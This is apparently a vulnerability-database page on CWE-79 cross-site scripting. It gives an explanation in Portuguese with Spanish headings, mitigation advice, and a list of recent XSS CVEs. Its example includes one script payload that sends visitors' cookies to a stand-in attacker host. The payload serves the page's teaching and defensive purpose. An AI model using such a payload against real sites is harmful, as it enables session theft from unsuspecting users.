Fallos del tipo CWE-79

30.537 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-27225MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-2021MEDIUMSlideshow Gallery LITE <= 1.8.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'alwaysauto' Shortcode AttributeEPSS 0.2%CVE-2026-27239MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-27247MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%CVE-2026-27242MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-27266MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2025-14721MEDIUMResponsive and Swipe slider <= 1.0.2 - Authenticated (Editor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%CVE-2026-27234MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-27248MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2025-12088MEDIUMMeta Display Block <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-27256MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-118585MEDIUMconfiguroweb inventariobasico Add Product addlist.php cross site scriptingEPSS 0.2%CVE-2026-40565MEDIUMFreeScout has Stored XSS / CSS Injection via linkify() — Unescaped URL in Anchor hrefEPSS 0.2%CVE-2025-11826MEDIUMWP Company Info <= 1.9.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%CVE-2025-54009MEDIUMWordPress JetSmartFilters plugin <= 3.6.8 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-112095MEDIUMSourceCodester Inventory System Product Management products_handler.php save cross site scriptingEPSS 0.2%CVE-2026-38579MEDIUMMultiple reflected Cross-Site Scripting (XSS) vulnerabilities in damasac thaipalliative_lte through version 3.0 allow remote attackers to inEPSS 0.2%CVE-2026-117535MEDIUMREDAXO before 5.21.3 Reflected XSS via opener_link in Media PoolEPSS 0.2%CVE-2026-106155HIGHStored Cross-site Scripting (XSS) in Telerik Report Server Web Report ViewersEPSS 0.2%CVE-2026-115246MEDIUMsubhajitkhan online-clinic-management-system patdocmsg.php cross site scriptingEPSS 0.2%